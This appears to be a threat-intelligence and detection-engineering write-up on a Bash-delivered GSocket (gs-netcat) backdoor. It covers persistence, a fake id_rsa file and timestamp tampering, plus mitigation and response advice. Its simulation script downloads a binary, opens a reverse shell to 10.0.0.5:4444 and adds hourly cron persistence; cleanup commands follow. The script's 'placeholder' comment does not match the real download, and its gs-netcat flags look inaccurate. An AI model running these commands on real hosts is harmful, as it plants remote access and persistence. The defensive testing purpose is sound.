GSocket Backdoor Delivered Through Bash Script

A weaponized Bash script downloads and launches a GSocket client (gs-netcat) to establish a backdoor on Linux and macOS hosts. It maintains persistence through cron jobs and changes to .profile, while saving a shared secret inside a fake SSH key file. To reduce forensic visibility, the script uses anti-forensic methods that alter timestamps and conceal evidence of file modification. The resulting backdoor communicates outward through the GSocket relay network to a remote IP.

Investigation

The researcher detonated the script in a sandbox and confirmed retrieval of the gs-netcat binary, creation of a cron-based persistence entry, and tampering with user startup files. A bogus ELF file named id_rsa is dropped into the .ssh directory, with the shared secret embedded in what appears to be an SSH key. Timestamp reset routines were also identified, showing deliberate efforts to blur forensic timelines. The script supports multiple Unix-like systems by first detecting the host OS.

Mitigation

Defenders should block outbound traffic to known GSocket relay domains and IP addresses, and watch for unauthorized cron entries or suspicious changes to .profile and .ssh paths. Host-based detection logic should flag use of the gs-netcat filename as well as commands commonly used to manipulate timestamps. Least-privilege controls and integrity monitoring on startup files can further limit the backdoor’s ability to persist unnoticed.

Response

If these indicators appear, isolate the host, acquire the malicious script and dropped binaries, and begin a full forensic review. Remove the cron persistence mechanism and all malicious artifacts, rotate affected SSH keys, and invalidate any shared secrets. Extend hunting across the environment for matching indicators and refresh detection content to catch similar activity.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

• Attack Narrative & Commands:
  An attacker with limited privileges obtains the gs‑netcat binary from a public repository, places it in /usr/local/bin, and launches it to open a reverse shell on port 4444. To maintain access, the attacker creates a cron job that restarts the backdoor every hour. The steps are performed from a compromised shell on the target host.

• Regression Test Script:

  #!/usr/bin/env bash
  set -euo pipefail
  
  # 1. Download gs-netcat (simulated with a small placeholder binary)
  echo "[*] Downloading gs-netcat placeholder ..."
  curl -s -o /usr/local/bin/gs-netcat https://raw.githubusercontent.com/maaaaz/gs-netcat/master/gs-netcat_linux_amd64
  chmod +x /usr/local/bin/gs-netcat
  
  # 2. Start gs-netcat in the background (reverse shell to attacker IP 10.0.0.5)
  echo "[*] Starting gs-netcat reverse shell ..."
  /usr/local/bin/gs-netcat -d 10.0.0.5 -p 4444 -e /bin/bash &
  GSN_PID=$!
  
  # 3. Verify process is running
  sleep 2
  ps -p "$GSN_PID" -o pid,cmd
  
  # 4. Create a cron job that restarts gs-netcat at the start of every hour
  echo "[*] Adding persistence via cron ..."
  (crontab -l 2>/dev/null; echo "0 * * * * /usr/local/bin/gs-netcat -d 10.0.0.5 -p 4444 -e /bin/bash >/dev/null 2>&1") | crontab -
  
  echo "[+] Simulation complete. Await detection."

• Cleanup Commands:

  #!/usr/bin/env bash
  set -euo pipefail
  
  # Remove the cron entry added above
  echo "[*] Removing malicious cron job ..."
  crontab -l | grep -v "/usr/local/bin/gs-netcat -d 10.0.0.5 -p 4444 -e /bin/bash" | crontab -
  
  # Kill any running gs-netcat processes
  echo "[*] Killing gs-netcat processes ..."
  pkill -f "/usr/local/bin/gs-netcat" || true
  
  # Delete the binary
  echo "[*] Deleting gs-netcat binary ..."
  rm -f /usr/local/bin/gs-netcat
  
  echo "[+] Cleanup finished."